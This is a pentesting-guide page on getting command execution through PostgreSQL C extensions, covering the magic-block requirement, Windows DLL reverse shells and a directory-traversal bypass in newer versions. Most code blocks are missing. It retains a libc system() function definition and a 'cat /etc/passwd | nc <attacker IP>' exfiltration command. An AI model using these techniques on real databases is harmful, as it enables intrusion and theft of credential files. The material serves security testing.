RCE with PostgreSQL Extensions
PostgreSQL Extensions
PostgreSQL is designed to be easily extensible. For this reason, extensions loaded into the database can function just like features that are built in. Extensions are modules that supply extra functions, operators, or types. They are libraries written in C. From PostgreSQL > 8.1 the extension libraries must be compiled with a especial header or PostgreSQL will refuse to execute them.
Also, keep in mind that if you don't know how to upload files to the victim abusing PostgreSQL you should read this post.****
RCE in Linux
The process for executing system commands from PostgreSQL 8.1 and before is straightforward and well documented (Metasploit module):
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');However, when attempted on PostgreSQL 9.0, the following error was shown:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.This error is explained in the PostgreSQL documentation:
To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:
`#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC;
endif`
So for PostgreSQL versions since 8.2, an attacker either needs to take advantage of a library already present on the system, or upload their own library, which has been compiled against the right major version of PostgreSQL, and includes this magic block.
Compile the library
First of all you need to know the version of PostgreSQL running:
The major versions have to match, so in this case compiling a library using any 9.6.x should work. Then install that version in your system:
And compile the library:
Then upload the compiled library and execute commands with:
You can find this library precompiled to several different PostgreSQL versions and even can automate this process (if you have PostgreSQL access) with:
For more information read: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
RCE in Windows
The following DLL takes as input the name of the binary and the number of times you want to execute it and executes it:
You can find the DLL compiled in this zip:
You can indicate to this DLL which binary to execute and the number of time to execute it, in this example it will execute calc.exe 2 times:
In here you can find this reverse-shell:
Note how in this case the malicious code is inside the DllMain function. This means that in this case it isn't necessary to execute the loaded function in postgresql, just loading the DLL will execute the reverse shell:
RCE in newest Prostgres versions
On the latest versions of PostgreSQL, the superuser is no longer allowed to load a shared library file from anywhere else besides C:\Program Files\PostgreSQL\11\lib on Windows or /var/lib/postgresql/11/lib on *nix. Additionally, this path is not writable by either the NETWORK_SERVICE or postgres accounts.
However, an authenticated database superuser can write binary files to the file-system using “large objects” and can of course write to the C:\Program Files\PostgreSQL\11\data directory. The reason for this should be clear, for updating/creating tables in the database.
The underlying issue is that the CREATE FUNCTION operative allows for a directory traversal to the data directory! So essentially, an authenticated attacker can write a shared library file into the data directory and use the traversal to load the shared library. This means an attacker can get native code execution and as such, execute arbitrary code.
Attack flow
First of all you need to use large objects to upload the dll. You can see how to do that here:
Big Binary Files Upload (PostgreSQL)Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with:
Note that you don't need to append the .dll extension as the create function will add it.
For more information read the original publication here. In that publication this was the code use to generate the postgres extension **(to learn how to compile a postgres extension read any of the previous versions). In the same page this exploit to automate** this technique was given:
Last updated